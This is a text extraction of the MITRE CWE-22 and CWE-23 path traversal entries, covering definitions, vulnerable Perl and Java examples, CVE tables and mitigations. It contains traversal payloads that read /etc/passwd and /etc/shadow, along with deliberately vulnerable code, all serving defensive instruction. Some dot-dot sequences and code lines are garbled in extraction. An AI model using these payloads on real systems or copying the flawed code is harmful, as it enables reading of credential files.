<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>🕖</td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🕖</td>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🕖</td>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
<td>1003</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
Mapped Taxonomy Name
PLOVER
Mapped Node Name
Pathname Traversal and Equivalence Errors

Related Attack Patterns
<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>64</td>
<td>Using Slashes and URL Encoding Combined to Bypass Validation Logic</td>
</tr>
<tr>
<td>72</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>78</td>
<td>Using Escaped Slashes in Alternate Encoding</td>
</tr>
<tr>
<td>79</td>
<td>Using Slashes in Alternate Encoding</td>
</tr>
<tr>
<td>80</td>
<td>Using UTF-8 Encoding to Bypass Validation Logic</td>
</tr>
<tr>
<td>267</td>
<td>Leverage Alternate Encoding</td>
</tr>
</tbody>
</table>

**CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')**

**Weakness ID:** 22 *(Weakness Class)*  
**Status:** Draft

**Description**

**Summary**
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

**Extended Description**
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "./" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

**Alternate Terms**
Directory traversal
Path traversal

"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

**Terminology Notes**
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the "effect" of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

**Time of Introduction**
- Architecture and Design
- Implementation
Applicable Platforms
Languages
  • Language-independent

Common Consequences
  Integrity
  Confidentiality
  Availability

Execute unauthorized code or commands
The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Integrity
Modify files or directories
The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Confidentiality
Read files or directories
The attacker may be able to read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

Availability
DoS: crash / exit / restart
The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

Likelihood of Exploit
High to Very High

Detection Methods
Automated Static Analysis
High
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software’s administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Manual Static Analysis
High
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
  • Highly cost effective:
    • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Cost effective for partial coverage:
    • Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  • Cost effective for partial coverage:
    • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Dynamic Analysis with automated results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Web Application Scanner
  Web Services Scanner
  Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Fuzz Tester
  Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Source code Weakness Analyzer
  Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
The following code could be for a social networking application in which each user’s profile information is stored in a separate file. All files are stored in a single directory.

Perl Example:

```perl
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>
";
while (<$fh>) {
    print "<li>$_</li>
";
}
print "</ul>
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

```
 ../../../etc/passwd
```
The program would generate a profile pathname like this:

```
/users/cwe/profiles/../../../etc/passwd
```

When the file is opened, the operating system resolves the "./" during path canonicalization and actually accesses this file:

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

**Example 2:**
In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

**Java Example:**

```java
Bad Code
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

**Example 3:**
The following code takes untrusted input and uses a regular expression to filter "./" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

**Perl Example:**

```perl
Bad Code
my $Username = GetUntrustedInput();
$Username =~ s/\./\//g;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "./" it comes across. So an input value such as:

```
../../../etc/passwd
```

will have the first "./" stripped, resulting in:

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the "./" sequences in the pathname. This leads to relative path traversal (CWE-23).

**Example 4:**
The following code attempts to validate a given input path by checking it against a whitelist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".
Java Example:

```java
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    f.delete();
}
```

An attacker could provide an input such as this:

```
/safe_dir/../../../../important.dat
```

The software assumes that the path is valid because it starts with the "/safe_dir/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory.

**Example 5:**

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

**HTML Example:**

```html
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
    Choose a file to upload:
    <input type="file" name="filename"/>
    <br/>
    <input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Java Example:

```java
public class FileUploadServlet extends HttpServlet {
    ... 
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ... 
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\"), pLine.lastIndexOf("\"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                }
            } //end of for loop
            bw.close();
        } catch (IOException ex) { ... }
    }
```
This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash. Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-5748</td>
<td>Chain: external control of values for user's desired language and theme enables path traversal.</td>
</tr>
<tr>
<td>CVE-2009-0244</td>
<td>OBEX FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using &quot;../&quot; sequences.</td>
</tr>
<tr>
<td>CVE-2009-1936</td>
<td>Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.</td>
</tr>
<tr>
<td>CVE-2009-4013</td>
<td>Software package maintenance program allows overwriting arbitrary files using &quot;../&quot; sequences.</td>
</tr>
<tr>
<td>CVE-2009-4053</td>
<td>FTP server allows creation of arbitrary directories using &quot;../&quot; in the MKD command.</td>
</tr>
<tr>
<td>CVE-2009-4194</td>
<td>FTP server allows deletion of arbitrary files using &quot;.&quot; in the DELE command.</td>
</tr>
<tr>
<td>CVE-2009-4449</td>
<td>Bulletin board allows attackers to determine the existence of files using the avatar.</td>
</tr>
<tr>
<td>CVE-2009-4581</td>
<td>PHP program allows arbitrary code execution using &quot;..&quot; in filenames that are fed to the include() function.</td>
</tr>
<tr>
<td>CVE-2010-0012</td>
<td>Overwrite of files using a .. in a Torrent file.</td>
</tr>
<tr>
<td>CVE-2010-0013</td>
<td>Chat program allows overwriting files using a custom smiley request.</td>
</tr>
<tr>
<td>CVE-2010-0467</td>
<td>Newsletter module allows reading arbitrary files using &quot;../&quot; sequences.</td>
</tr>
</tbody>
</table>

### Potential Mitigations
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".//" sequences are removed from the ".../.../\" string in a sequential fashion, two instances of ".//" would be removed from the original string, but the remaining characters would still form the ".//" string.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes:
realpath() in C
getCanonicalPath() in Java
GetFullPath() in ASP.NET
realpath() or abs_path() in Perl
realpath() in PHP

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Operation
Firewall
Moderate
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.22.5]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.22.3] provide this capability.

Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
Architecture and Design

Operation

Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server’s access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>21</td>
<td>Pathname Traversal and Equivalence Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>715</td>
<td>OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference</td>
<td>1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>1109</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>1116</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>802</td>
<td>2010 Top 25 - Risky Resource Management</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>813</td>
<td>OWASP Top Ten 2010 Category A4 - Insecure Direct Object References</td>
<td>1232</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>865</td>
<td>2011 Top 25 - Risky Resource Management</td>
<td>809</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>1250</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>932</td>
<td>OWASP Top Ten 2013 Category A4 - Insecure Direct Object References</td>
<td>1313</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>900</td>
</tr>
<tr>
<td>CanFollow</td>
<td>E</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>1000</td>
</tr>
</tbody>
</table>
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Relationship Notes
Pathname equivalence can be regarded as a type of canonicalization error.
Some pathname equivalence issues are not directly related to directory traversal, rather are used
to bypass security-relevant checks for whether a file/directory can be accessed by the attacker
(e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a
server to provide the file when it normally would not).

Research Gaps
Many variants of path traversal attacks are probably under-studied with respect to root cause.
CWE-790 and CWE-182 begin to cover part of this gap.
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is
affected. For example, a researcher might say that ".\.." is vulnerable, but not test "/\.." which may
also be vulnerable.
Any combination of directory separators ("/", ",", etc.) and numbers of "." (e.g. "....") can produce
unique variants; for example, the "/\..\.." variant is not listed (CVE-2004-0325). See this entry's
children and lower-level descendants.

Affected Resources
• File/Directory

Relevant Properties
• Equivalence

Functional Areas
• File processing

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name
-----------------------|---------|-----|---------------------
PLOVER                |         |     | Path Traversal      |
OWASP Top Ten 2007    | A4      | CWE More Specific | Insecure Direct Object Reference |
OWASP Top Ten 2004    | A2      | CWE More Specific | Broken Access Control |
CERT C Secure Coding  | FIO02-C  |     | Canonicalize path names originating from untrusted sources |
WASC                  | 33      |     | Path Traversal      |
CERT C++ Secure Coding| FIO02-CPP|     | Canonicalize path names originating from untrusted sources |
Software Fault Patterns| SFP16   |     | Path Traversal      |

Related Attack Patterns

CAPEC-ID | Attack Pattern Name (CAPEC Version 2.10)
---------|--------------------------------------------------------
23       | File Content Injection
64       | Using Slashes and URL Encoding Combined to Bypass Validation Logic
76       | Manipulating Web Input to File System Calls
78       | Using Escaped Slashes in Alternate Encoding
79       | Using Slashes in Alternate Encoding
126      | Path Traversal
213      | DEPRECATED: Directory Traversal

References
CWE-23: Relative Path Traversal

**Description**

**Summary**
The software uses external input to construct a pathname that should be within a restricted
directory, but it does not properly neutralize sequences such as ". . ." that can resolve to a location
that is outside of that directory.

**Extended Description**
This allows attackers to traverse the file system to access files or directories that are outside of
the restricted directory.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Integrity**
**Confidentiality**
**Availability**

**Execute unauthorized code or commands**
The attacker may be able to create or overwrite critical files that are used to execute code, such
as programs or libraries.

**Integrity**
**Modify files or directories**
The attacker may be able to overwrite or create critical files, such as programs, libraries, or
important data. If the targeted file is used for a security mechanism, then the attacker may be able
to bypass that mechanism. For example, appending a new account at the end of a password file
may allow an attacker to bypass authentication.

**Confidentiality**
**Read files or directories**
The attacker may be able to read the contents of unexpected files and expose sensitive data. If
the targeted file is used for a security mechanism, then the attacker may be able to bypass that
mechanism. For example, by reading a password file, the attacker could conduct brute force
password guessing attacks in order to break into an account on the system.

**Availability**
**DoS: crash / exit / restart**
The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as
programs, libraries, or important data. This may prevent the software from working at all and in
the case of a protection mechanisms such as authentication, it has the potential to lockout every
user of the software.

**Demonstrative Examples**

Example 1:
The following URLs are vulnerable to this attack:


A simple way to execute this attack is like this:

- http://example.com.br/../../../../etc/shadow
- http://example.com.br/get-files?file=../../../../etc/passwd

Example 2:
The following code could be for a social networking application in which each user’s profile information is stored in a separate file. All files are stored in a single directory.

Perl Example:

```perl
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>
";
while (<$fh>) {
    print "<li>$_</li>
";
}
print "</ul>
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

```
../../../etc/passwd
```

The program would generate a profile pathname like this:

```
/users/cwe/profiles/../../../etc/passwd
```

When the file is opened, the operating system resolves the "../../../" during path canonicalization and actually accesses this file:

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 3:
The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

HTML Example:

```html
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
    Choose a file to upload:
    <input type="file" name="filename"/>
    <br/>
    <input type="submit" name="submit" value="Submit"/>
</form>
```
When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

**Java Example:**

```java
public class FileUploadServlet extends HttpServlet {

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String contentType = request.getContentType();
    // the starting position of the boundary header
    int ind = contentType.indexOf("boundary=");
    String boundary = contentType.substring(ind+9);
    String pLine = new String();
    String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
    // verify that content type is multipart form data
    if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
        // extract the filename from the Http header
        BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
        ...pLine = br.readLine();
        String filename = pLine.substring(pLine.lastIndexOf("\"), pLine.lastIndexOf("\"));
        ...// output the file to the local upload directory
        try {
            BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
            for (String line; (line=br.readLine())!=null; ) {
                if (line.indexOf(boundary) == -1) {
                    bw.write(line);
                    bw.newLine();
                    bw.flush();
                }
            }
            bw.close();
        } catch (IOException ex) {...}
        // output successful upload response HTML page
    }
    // output unsuccessful upload response HTML page
    else {
    }
}
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1082</td>
<td>read files via &quot;......&quot; in web server (doubled triple dot?)</td>
</tr>
<tr>
<td>CVE-2000-0240</td>
<td>read files via &quot;/......./&quot; in URL</td>
</tr>
<tr>
<td>CVE-2000-0773</td>
<td>read files via &quot;....&quot; in web server</td>
</tr>
<tr>
<td>CVE-2001-0467</td>
<td>&quot;...&quot; in web server</td>
</tr>
<tr>
<td>CVE-2001-0480</td>
<td>read of arbitrary files and directories using GET or CD with &quot;...&quot;, in Windows-based FTP server.</td>
</tr>
<tr>
<td>CVE-2001-0491</td>
<td>multiple attacks using &quot;.&quot;, &quot;..&quot;, and &quot;....&quot; in different commands</td>
</tr>
<tr>
<td>CVE-2001-0615</td>
<td>&quot;...&quot; or &quot;.&quot; in chat server</td>
</tr>
<tr>
<td>CVE-2001-0963</td>
<td>&quot;...&quot; in cd command in FTP server</td>
</tr>
<tr>
<td>Reference</td>
<td>Description</td>
</tr>
<tr>
<td>-------------</td>
<td>----------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>CVE-2001-1131</td>
<td>&quot;...&quot; in cd command in FTP server</td>
</tr>
<tr>
<td>CVE-2001-1193</td>
<td>&quot;...&quot; in cd command in FTP server</td>
</tr>
<tr>
<td>CVE-2002-0160</td>
<td>The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a &quot;....&quot; sequence in the URL to port 2002.</td>
</tr>
<tr>
<td>CVE-2002-0288</td>
<td>read files using &quot;.&quot; and Unicode-encoded &quot;/&quot; or &quot;&quot; characters in the URL.</td>
</tr>
<tr>
<td>CVE-2002-0298</td>
<td>Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several &quot;/../&quot; sequences, or several &quot;../&quot; in a URI.</td>
</tr>
<tr>
<td>CVE-2002-0661</td>
<td>&quot;/&quot; not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.</td>
</tr>
<tr>
<td>CVE-2002-0946</td>
<td>Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request.</td>
</tr>
<tr>
<td>CVE-2002-1042</td>
<td>Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via &quot;...&quot; sequences in queries.</td>
</tr>
<tr>
<td>CVE-2002-1178</td>
<td>Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via &quot;...&quot; sequences in an HTTP request.</td>
</tr>
<tr>
<td>CVE-2002-1209</td>
<td>Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via &quot;...&quot; sequences in a GET request.</td>
</tr>
<tr>
<td>CVE-2002-1987</td>
<td>Protection mechanism checks for &quot;/..&quot; but doesn't account for Windows-specific &quot;/..&quot; allowing read of arbitrary files.</td>
</tr>
<tr>
<td>CVE-2003-0313</td>
<td>Directory listing of web server using &quot;...&quot;.</td>
</tr>
<tr>
<td>CVE-2004-1670</td>
<td>Mail server allows remote attackers to create arbitrary directories via a &quot;.&quot; or rename arbitrary files via a &quot;....//&quot; in user supplied parameters.</td>
</tr>
<tr>
<td>CVE-2004-2121</td>
<td>read files via &quot;......&quot; in web server (doubled triple dot?)</td>
</tr>
<tr>
<td>CVE-2005-0202</td>
<td>&quot;..//..//&quot; bypasses regexp's that remove &quot;.&quot; and &quot;..&quot;</td>
</tr>
<tr>
<td>CVE-2005-1658</td>
<td>Triple dot</td>
</tr>
<tr>
<td>CVE-2005-2142</td>
<td>Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a &quot;..&quot; sequence in an LS command.</td>
</tr>
<tr>
<td>CVE-2005-2169</td>
<td>chain: &quot;..//..//&quot; bypasses protection mechanism using regexp's that remove &quot;..&quot; resulting in collapse into an unsafe value &quot;..&quot; (CWE-182) and resultant path traversal.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

